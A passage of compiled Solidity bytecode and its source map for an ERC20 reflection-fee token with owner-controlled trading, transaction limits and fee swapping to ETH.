518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061202d565b905092915050565b5f600b54148015611dd657505f601154145b611dfb57600b546012819055506011546013819055505f600b819055505f6011819055505b565b5f805f805f80611e0c8761208e565b955095509550955095509550611e688660055f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ee90919063ffffffff16565b60055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ef98560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461213790919063ffffffff16565b60055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f4381612194565b611f4d848361224b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611faa919061242a565b60405180910390a3505050505050505050565b601254600b81905550601354601181905550565b5f805f60105490505f670de0b6b3a76400009050612002670de0b6b3a7640000601054611d7b90919063ffffffff16565b82101561202057601054670de0b6b3a7640000935093505050612029565b81819350935050505b9091565b5f8083118290612073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206a91906124cd565b60405180910390fd5b505f83856120819190613175565b9050809150509392505050565b5f805f805f805f805f6120a68a600b54601154612285565b9250925092505f6120b5611d52565b90505f805f6120c68e878787612317565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61212f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611903565b905092915050565b5f8082846121459190612e12565b90508381101561218a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612181906131ef565b60405180910390fd5b8091505092915050565b5f61219d611d52565b90505f6121b3828461239b90919063ffffffff16565b90506122058160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461213790919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612260826010546120ee90919063ffffffff16565b60108190555061227b8160075461213790919063ffffffff16565b6007819055505050565b5f805f806122af60646122a1888a61239b90919063ffffffff16565b611d7b90919063ffffffff16565b90505f6122d860646122ca888b61239b90919063ffffffff16565b611d7b90919063ffffffff16565b90505f612300826122f2858c6120ee90919063ffffffff16565b6120ee90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061232e858961239b90919063ffffffff16565b90505f612344868961239b90919063ffffffff16565b90505f61235a878961239b90919063ffffffff16565b90505f6123828261237485876120ee90919063ffffffff16565b6120ee90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036123ab575f905061240c565b5f82846123b8919061320d565b90508284826123c79190613175565b14612407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fe906132be565b60405180910390fd5b809150505b92915050565b5f819050919050565b61242481612412565b82525050565b5f60208201905061243d5f83018461241b565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561247a57808201518184015260208101905061245f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61249f82612443565b6124a9818561244d565b93506124b981856020860161245d565b6124c281612485565b840191505092915050565b5f6020820190508181035f8301526124e58184612495565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61251e826124f5565b9050919050565b61252e81612514565b8114612538575f80fd5b50565b5f8135905061254981612525565b92915050565b61255881612412565b8114612562575f80fd5b50565b5f813590506125738161254f565b92915050565b5f806040838503121561258f5761258e6124ed565b5b5f61259c8582860161253b565b92505060206125ad85828601612565565b9150509250929050565b5f8115159050919050565b6125cb816125b7565b82525050565b5f6020820190506125e45f8301846125c2565b92915050565b5f819050919050565b5f61260d612608612603846124f5565b6125ea565b6124f5565b9050919050565b5f61261e826125f3565b9050919050565b5f61262f82612614565b9050919050565b61263f81612625565b82525050565b5f6020820190506126585f830184612636565b92915050565b5f805f60608486031215612675576126746124ed565b5b5f6126828682870161253b565b93505060206126938682870161253b565b92505060406126a486828701612565565b9150509250925092565b5f60ff82169050919050565b6126c3816126ae565b82525050565b5f6020820190506126dc5f8301846126ba565b92915050565b5f6126ec826124f5565b9050919050565b6126fc816126e2565b82525050565b5f6020820190506127155f8301846126f3565b92915050565b5f602082840312156127305761272f6124ed565b5b5f61273d8482850161253b565b91505092915050565b61274f81612514565b82525050565b5f6020820190506127685f830184612746565b92915050565b5f60208284031215612783576127826124ed565b5b5f61279084828501612565565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126127ba576127b9612799565b5b8235905067ffffffffffffffff8111156127d7576127d661279d565b5b6020830191508360208202830111156127f3576127f26127a1565b5b9250929050565b612803816125b7565b811461280d575f80fd5b50565b5f8135905061281e816127fa565b92915050565b5f805f6040848603121561283b5761283a6124ed565b5b5f84013567ffffffffffffffff811115612858576128576124f1565b5b612864868287016127a5565b9350935050602061287786828701612810565b9150509250925092565b5f8060408385031215612897576128966124ed565b5b5f6128a48582860161253b565b92505060206128b58582860161253b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128f360208361244d565b91506128fe826128bf565b602082019050919050565b5f6020820190508181035f830152612920816128e7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61298b82612412565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036129bd576129bc612954565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a2260268361244d565b9150612a2d826129c8565b604082019050919050565b5f6020820190508181035f830152612a4f81612a16565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ab060248361244d565b9150612abb82612a56565b604082019050919050565b5f6020820190508181035f830152612add81612aa4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b3e60228361244d565b9150612b4982612ae4565b604082019050919050565b5f6020820190508181035f830152612b6b81612b32565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612bcc60258361244d565b9150612bd782612b72565b604082019050919050565b5f6020820190508181035f830152612bf981612bc0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c5a60238361244d565b9150612c6582612c00565b604082019050919050565b5f6020820190508181035f830152612c8781612c4e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ce860298361244d565b9150612cf382612c8e565b604082019050919050565b5f6020820190508181035f830152612d1581612cdc565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612d76603f8361244d565b9150612d8182612d1c565b604082019050919050565b5f6020820190508181035f830152612da381612d6a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612dde601c8361244d565b9150612de982612daa565b602082019050919050565b5f6020820190508181035f830152612e0b81612dd2565b9050919050565b5f612e1c82612412565b9150612e2783612412565b9250828201905080821115612e3f57612e3e612954565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612e9f60238361244d565b9150612eaa82612e45565b604082019050919050565b5f6020820190508181035f830152612ecc81612e93565b9050919050565b5f612edd82612412565b9150612ee883612412565b9250828203905081811115612f0057612eff612954565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612f60602a8361244d565b9150612f6b82612f06565b604082019050919050565b5f6020820190508181035f830152612f8d81612f54565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050612fcf81612525565b92915050565b5f60208284031215612fea57612fe96124ed565b5b5f612ff784828501612fc1565b91505092915050565b5f819050919050565b5f61302361301e61301984613000565b6125ea565b612412565b9050919050565b61303381613009565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61306b81612514565b82525050565b5f61307c8383613062565b60208301905092915050565b5f602082019050919050565b5f61309e82613039565b6130a88185613043565b93506130b383613053565b805f5b838110156130e35781516130ca8882613071565b97506130d583613088565b9250506001810190506130b6565b5085935050505092915050565b5f60a0820190506131035f83018861241b565b613110602083018761302a565b81810360408301526131228186613094565b90506131316060830185612746565b61313e608083018461241b565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61317f82612412565b915061318a83612412565b92508261319a57613199613148565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131d9601b8361244d565b91506131e4826131a5565b602082019050919050565b5f6020820190508181035f830152613206816131cd565b9050919050565b5f61321782612412565b915061322283612412565b925082820261323081612412565b9150828204841483151761324757613246612954565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132a860218361244d565b91506132b38261324e565b604082019050919050565b5f6020820190508181035f8301526132d58161329c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb041e2867946c75d065d0d71e9395ad71d1bee5feb13d961afe8db31e7a0a1764736f6c63430008140033

Deployed Bytecode Sourcemap

4485:12262:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5221:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5366:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6595:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7520:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4568:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7018:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7721:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12181:137;;;;;;;;;;;;;:::i;:::-;;6781:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11873:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4222:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5293:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5950:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12608:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10341:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6872:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12326:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4137:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6686:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11779;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7313:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7121:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3887:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5221:57;;;;:::o;5366:49::-;;;;:::o;6595:83::-;6632:13;6665:5;;;;;;;;;;;;;;;;;6658:12;;6595:83;:::o;7520:193::-;7622:4;7644:39;7653:12;:10;:12::i;:::-;7667:7;7676:6;7644:8;:39::i;:::-;7701:4;7694:11;;7520:193;;;;:::o;4568:41::-;;;;;;;;;;;;;:::o;7018:95::-;7071:7;5457:11;7091:14;;7018:95;:::o;7721:446::-;7853:4;7870:36;7880:6;7888:9;7899:6;7870:9;:36::i;:::-;7917:220;7940:6;7961:12;:10;:12::i;:::-;7988:138;8044:6;7988:138;;;;;;;;;;;;;;;;;:11;:19;8000:6;7988:19;;;;;;;;;;;;;;;:33;8008:12;:10;:12::i;:::-;7988:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7917:8;:220::i;:::-;8155:4;8148:11;;7721:446;;;;;:::o;12181:137::-;3735:12;:10;:12::i;:::-;3725:22;;:6;;;;;;;;;;:22;;;3717:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5457:11:::1;12238:20;:30;;;;5457:11;12279:21;:31;;;;12181:137::o:0;6781:83::-;6822:5;5942:1;6840:16;;6781:83;:::o;11873:93::-;;;;;;;;;;;;;:::o;4222:256::-;3735:12;:10;:12::i;:::-;3725:22;;:6;;;;;;;;;;:22;;;3717:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4298:21:::1;4322:3;4298:27;;4378:1;4341:40;;4362:6;::::0;::::1;;;;;;;;4341:40;;;;;;;;;;;;4438:1;4429:11;4392;:26;4404:13;4392:26;;;;;;;;;;;;;;;:34;4419:6:::0;::::1;;;;;;;;;;4392:34;;;;;;;;;;;;;;;:48;;;;4468:1;4451:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4287:191;4222:256:::0;:::o;5293:58::-;;;;:::o;5950:27::-;;;;;;;;;;;;;:::o;12608:132::-;3735:12;:10;:12::i;:::-;3725:22;;:6;;;;;;;;;;:22;;;3717:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12714:18:::1;12695:16;:37;;;;12608:132:::0;:::o;10341:122::-;3735:12;:10;:12::i;:::-;3725:22;;:6;;;;;;;;;;:22;;;3717:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10420:4:::1;10405:12;;:19;;;;;;;;;;;;;;;;;;10450:5;10435:12;;:20;;;;;;;;;;;;;;;;;;10341:122:::0;:::o;6872:138::-;6938:7;6965:37;6985:7;:16;6993:7;6985:16;;;;;;;;;;;;;;;;6965:19;:37::i;:::-;6958:44;;6872:138;;;:::o;12326:230::-;3735:12;:10;:12::i;:::-;3725:22;;:6;;;;;;;;;;:22;;;3717:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12439:9:::1;12435:114;12458:8;;:15;;12454:1;:19;12435:114;;;12529:8;12495:18;:31;12514:8;;12523:1;12514:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12495:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;12475:3;;;;;:::i;:::-;;;;12435:114;;;;12326:230:::0;;;:::o;4137:79::-;4175:7;4202:6;;;;;;;;;;;4195:13;;4137:79;:::o;6686:87::-;6725:13;6758:7;;;;;;;;;;;;;;;;;6751:14;;6686:87;:::o;11779:::-;;;;;;;;;;;;;:::o;7313:199::-;7418:4;7440:42;7450:12;:10;:12::i;:::-;7464:9;7475:6;7440:9;:42::i;:::-;7500:4;7493:11;;7313:199;;;;:::o;7121:184::-;7238:7;7270:11;:18;7282:5;7270:18;;;;;;;;;;;;;;;:27;7289:7;7270:27;;;;;;;;;;;;;;;;7263:34;;7121:184;;;;:::o;3887:244::-;3735:12;:10;:12::i;:::-;3725:22;;:6;;;;;;;;;;:22;;;3717:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3996:1:::1;3976:22;;:8;:22;;::::0;3968:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4086:8;4057:38;;4078:6;::::0;::::1;;;;;;;;4057:38;;;;;;;;;;;;4115:8;4106:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3887:244:::0;:::o;1738:98::-;1791:7;1818:10;1811:17;;1738:98;:::o;8175:369::-;8319:1;8302:19;;:5;:19;;;8294:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8400:1;8381:21;;:7;:21;;;8373:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8482:6;8452:11;:18;8464:5;8452:18;;;;;;;;;;;;;;;:27;8471:7;8452:27;;;;;;;;;;;;;;;:36;;;;8520:7;8504:32;;8513:5;8504:32;;;8529:6;8504:32;;;;;;:::i;:::-;;;;;;;;8175:369;;;:::o;12748:2377::-;12886:1;12870:18;;:4;:18;;;12862:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12963:1;12949:16;;:2;:16;;;12941:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13033:1;13024:6;:10;13016:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13119:7;:5;:7::i;:::-;13111:15;;:4;:15;;;;:32;;;;;13136:7;:5;:7::i;:::-;13130:13;;:2;:13;;;;13111:32;13093:1354;;;13208:12;;;;;;;;;;;13203:207;;13279:7;:5;:7::i;:::-;13271:15;;:4;:15;;;13241:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;13203:207;13462:20;;13452:6;:30;;13426:120;;;;;;;;;;;;:::i;:::-;;;;;;;;;13584:12;;;;;;;;;;;13578:18;;:2;:18;;;13575:170;;13650:21;;13641:6;13625:13;13635:2;13625:9;:13::i;:::-;:22;;;;:::i;:::-;:46;13617:112;;;;;;;;;;;;:::i;:::-;;;;;;;;;13575:170;13761:29;13793:24;13811:4;13793:9;:24::i;:::-;13761:56;;13844:12;13884:16;;13859:21;:41;;13844:56;;13943:20;;13918:21;:45;13915:94;;13989:20;;13965:44;;13915:94;14028:7;:39;;;;;14058:9;;;;;;;;;;;14057:10;14028:39;:81;;;;;14097:12;;;;;;;;;;;14089:20;;:4;:20;;;;14028:81;:115;;;;;14131:12;;;;;;;;;;;14028:115;:160;;;;;14166:18;:22;14185:2;14166:22;;;;;;;;;;;;;;;;;;;;;;;;;14165:23;14028:160;:207;;;;;14211:18;:24;14230:4;14211:24;;;;;;;;;;;;;;;;;;;;;;;;;14210:25;14028:207;14024:412;;;14270:31;14279:21;14270:8;:31::i;:::-;14320:18;14341:21;14320:42;;14398:1;14385:10;:14;14381:39;;;14401:19;14409:10;14401:7;:19::i;:::-;14381:39;14251:185;14024:412;13155:1292;;13093:1354;14457:12;14472:4;14457:19;;14492:18;:24;14511:4;14492:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;14520:18;:22;14539:2;14520:22;;;;;;;;;;;;;;;;;;;;;;;;;14492:50;14491:100;;;;14556:12;;;;;;;;;;;14548:20;;:4;:20;;;;:42;;;;;14578:12;;;;;;;;;;;14572:18;;:2;:18;;;;14548:42;14491:100;14487:570;;;14618:5;14608:15;;14487:570;;;14676:12;;;;;;;;;;;14668:20;;:4;:20;;;:54;;;;;14706:15;;;;;;;;;;;14692:30;;:2;:30;;;;14668:54;14665:175;;;14756:16;;14743:10;:29;;;;14811:13;;14791:17;:33;;;;14665:175;14878:12;;;;;;;;;;;14872:18;;:2;:18;;;:54;;;;;14910:15;;;;;;;;;;;14894:32;;:4;:32;;;;14872:54;14868:178;;;14960:17;;14947:10;:30;;;;15016:14;;14996:17;:34;;;;14868:178;14487:570;15067:50;15091:4;15097:2;15101:6;15109:7;15067:23;:50::i;:::-;12851:2274;12748:2377;;;:::o;707:224::-;827:7;860:1;855;:6;;863:12;847:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;887:9;903:1;899;:5;;;;:::i;:::-;887:17;;922:1;915:8;;;707:224;;;;;:::o;10010:323::-;10105:7;10163;;10152;:18;;10130:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10251:19;10273:10;:8;:10::i;:::-;10251:32;;10301:24;10313:11;10301:7;:11;;:24;;;;:::i;:::-;10294:31;;;10010:323;;;:::o;15133:445::-;6033:4;6021:9;;:16;;;;;;;;;;;;;;;;;;15202:21:::1;15240:1;15226:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15202:40;;15271:4;15253;15258:1;15253:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15297:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15287:4;15292:1;15287:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;15330:62;15347:4;15362:15;;;;;;;;;;;15380:11;15330:8;:62::i;:::-;15403:15;;;;;;;;;;;:37;;;15455:11;15481:1;15497:4;15524;15544:15;15403:167;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15191:387;6072:5:::0;6060:9;;:17;;;;;;;;;;;;;;;;;;15133:445;:::o;11581:190::-;11633:18;11663:1;11654:6;:10;;;;:::i;:::-;11633:31;;11675:10;;;;;;;;;;;:19;;:31;11695:10;11675:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11717:16;;;;;;;;;;;:25;;:46;11752:10;11743:6;:19;;;;:::i;:::-;11717:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11622:149;11581:190;:::o;16395:349::-;16559:6;16554:51;;16582:11;:9;:11::i;:::-;16554:51;16615:47;16636:6;16644:9;16655:6;16615:20;:47::i;:::-;16678:6;16673:64;;16713:12;:10;:12::i;:::-;16673:64;16395:349;;;;:::o;9098:164::-;9140:7;9161:15;9178;9197:19;:17;:19::i;:::-;9160:56;;;;9234:20;9246:7;9234;:11;;:20;;;;:::i;:::-;9227:27;;;;9098:164;:::o;1566:132::-;1624:7;1651:39;1655:1;1658;1651:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1644:46;;1566:132;;;;:::o;10694:241::-;10752:1;10738:10;;:15;:41;;;;;10778:1;10757:17;;:22;10738:41;10781:7;10734:54;10822:10;;10798:21;:34;;;;10862:17;;10843:16;:36;;;;10894:1;10881:10;:14;;;;10926:1;10906:17;:21;;;;10694:241;:::o;15633:612::-;15783:15;15813:23;15851:12;15878:23;15916:12;15943:13;15970:19;15981:7;15970:10;:19::i;:::-;15768:221;;;;;;;;;;;;16018:28;16038:7;16018;:15;16026:6;16018:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;16000:7;:15;16008:6;16000:15;;;;;;;;;;;;;;;:46;;;;16078:39;16101:15;16078:7;:18;16086:9;16078:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;16057:7;:18;16065:9;16057:18;;;;;;;;;;;;;;;:60;;;;16128:18;16140:5;16128:11;:18::i;:::-;16148:29;16166:4;16172;16148:17;:29::i;:::-;16210:9;16193:44;;16202:6;16193:44;;;16221:15;16193:44;;;;;;:::i;:::-;;;;;;;;15757:488;;;;;;15633:612;;;:::o;16253:130::-;16307:21;;16294:10;:34;;;;16359:16;;16339:17;:36;;;;16253:130::o;9270:257::-;9321:7;9330;9350:15;9368:7;;9350:25;;9386:15;5457:11;9386:25;;9436:20;5457:11;9436:7;;:11;;:20;;;;:::i;:::-;9426:7;:30;9422:61;;;9466:7;;5457:11;9458:25;;;;;;;;9422:61;9502:7;9511;9494:25;;;;;;9270:257;;;:::o;1333:223::-;1453:7;1485:1;1481;:5;1488:12;1473:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1512:9;1528:1;1524;:5;;;;:::i;:::-;1512:17;;1547:1;1540:8;;;1333:223;;;;;:::o;10943:626::-;11043:7;11065;11087;11109;11131;11153;11189:23;11214:12;11228:13;11258:51;11270:7;11279:10;;11291:17;;11258:11;:51::i;:::-;11188:121;;;;;;11320:19;11342:10;:8;:10::i;:::-;11320:32;;11364:15;11381:23;11406:12;11435:46;11447:7;11456:4;11462:5;11469:11;11435;:46::i;:::-;11363:118;;;;;;11500:7;11509:15;11526:4;11532:15;11549:4;11555:5;11492:69;;;;;;;;;;;;;;;;;;;10943:626;;;;;;;:::o;1191:136::-;1249:7;1276:43;1280:1;1283;1276:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1269:50;;1191:136;;;;:::o;522:179::-;580:7;600:9;616:1;612;:5;;;;:::i;:::-;600:17;;641:1;636;:6;;628:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;692:1;685:8;;;522:179;;;;:::o;10471:213::-;10526:19;10548:10;:8;:10::i;:::-;10526:32;;10569:13;10585:22;10595:11;10585:5;:9;;:22;;;;:::i;:::-;10569:38;;10643:33;10670:5;10643:7;:22;10659:4;10643:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;10618:7;:22;10634:4;10618:22;;;;;;;;;;;;;;;:58;;;;10515:169;;10471:213;:::o;11975:163::-;12059:17;12071:4;12059:7;;:11;;:17;;;;:::i;:::-;12049:7;:27;;;;12105:25;12125:4;12105:15;;:19;;:25;;;;:::i;:::-;12087:15;:43;;;;11975:163;;:::o;9535:467::-;9703:7;9725;9747;9782:12;9797:29;9822:3;9797:20;9809:7;9797;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;9782:44;;9837:13;9853:28;9877:3;9853:19;9865:6;9853:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;9837:44;;9892:23;9918:28;9940:5;9918:17;9930:4;9918:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;9892:54;;9965:15;9982:4;9988:5;9957:37;;;;;;;;;9535:467;;;;;;;:::o;8556:534::-;8750:7;8772;8794;8829:15;8847:24;8859:11;8847:7;:11;;:24;;;;:::i;:::-;8829:42;;8882:12;8897:21;8906:11;8897:4;:8;;:21;;;;:::i;:::-;8882:36;;8929:13;8945:22;8955:11;8945:5;:9;;:22;;;;:::i;:::-;8929:38;;8978:23;9004:28;9026:5;9004:17;9016:4;9004:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;8978:54;;9051:7;9060:15;9077:4;9043:39;;;;;;;;;;8556:534;;;;;;;;:::o;939:246::-;997:7;1026:1;1021;:6;1017:47;;1051:1;1044:8;;;;1017:47;1074:9;1090:1;1086;:5;;;;:::i;:::-;1074:17;;1119:1;1114;1110;:5;;;;:::i;:::-;:10;1102:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1176:1;1169:8;;;939:246;;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:99::-;494:6;528:5;522:12;512:22;;442:99;;;:::o;547:169::-;631:11;665:6;660:3;653:19;705:4;700:3;696:14;681:29;;547:169;;;;:::o;722:246::-;803:1;813:113;827:6;824:1;821:13;813:113;;;912:1;907:3;903:11;897:18;893:1;888:3;884:11;877:39;849:2;846:1;842:10;837:15;;813:113;;;960:1;951:6;946:3;942:16;935:27;784:184;722:246;;;:::o;974:102::-;1015:6;1066:2;1062:7;1057:2;1050:5;1046:14;1042:28;1032:38;;974:102;;;:::o;1082:377::-;1170:3;1198:39;1231:5;1198:39;:::i;:::-;1253:71;1317:6;1312:3;1253:71;:::i;:::-;1246:78;;1333:65;1391:6;1386:3;1379:4;1372:5;1368:16;1333:65;:::i;:::-;1423:29;1445:6;1423:29;:::i;:::-;1418:3;1414:39;1407:46;;1174:285;1082:377;;;;:::o;1465:313::-;1578:4;1616:2;1605:9;1601:18;1593:26;;1665:9;1659:4;1655:20;1651:1;1640:9;1636:17;1629:47;1693:78;1766:4;1757:6;1693:78;:::i;:::-;1685:86;;1465:313;;;;:::o;1865:117::-;1974:1;1971;1964:12;1988:117;2097:1;2094;2087:12;2111:126;2148:7;2188:42;2181:5;2177:54;2166:65;;2111:126;;;:::o;2243:96::-;2280:7;2309:24;2327:5;2309:24;:::i;:::-;2298:35;;2243:96;;;:::o;2345:122::-;2418:24;2436:5;2418:24;:::i;:::-;2411:5;2408:35;2398:63;;2457:1;2454;2447:12;2398:63;2345:122;:::o;2473:139::-;2519:5;2557:6;2544:20;2535:29;;2573:33;2600:5;2573:33;:::i;:::-;2473:139;;;;:::o;2618:122::-;2691:24;2709:5;2691:24;:::i;:::-;2684:5;2681:35;2671:63;;2730:1;2727;2720:12;2671:63;2618:122;:::o;2746:139::-;2792:5;2830:6;2817:20;2808:29;;2846:33;2873:5;2846:33;:::i;:::-;2746:139;;;;:::o;2891:474::-;2959:6;2967;3016:2;3004:9;2995:7;2991:23;2987:32;2984:119;;;3022:79;;:::i;:::-;2984:119;3142:1;3167:53;3212:7;3203:6;3192:9;3188:22;3167:53;:::i;:::-;3157:63;;3113:117;3269:2;3295:53;3340:7;3331:6;3320:9;3316:22;3295:53;:::i;:::-;3285:63;;3240:118;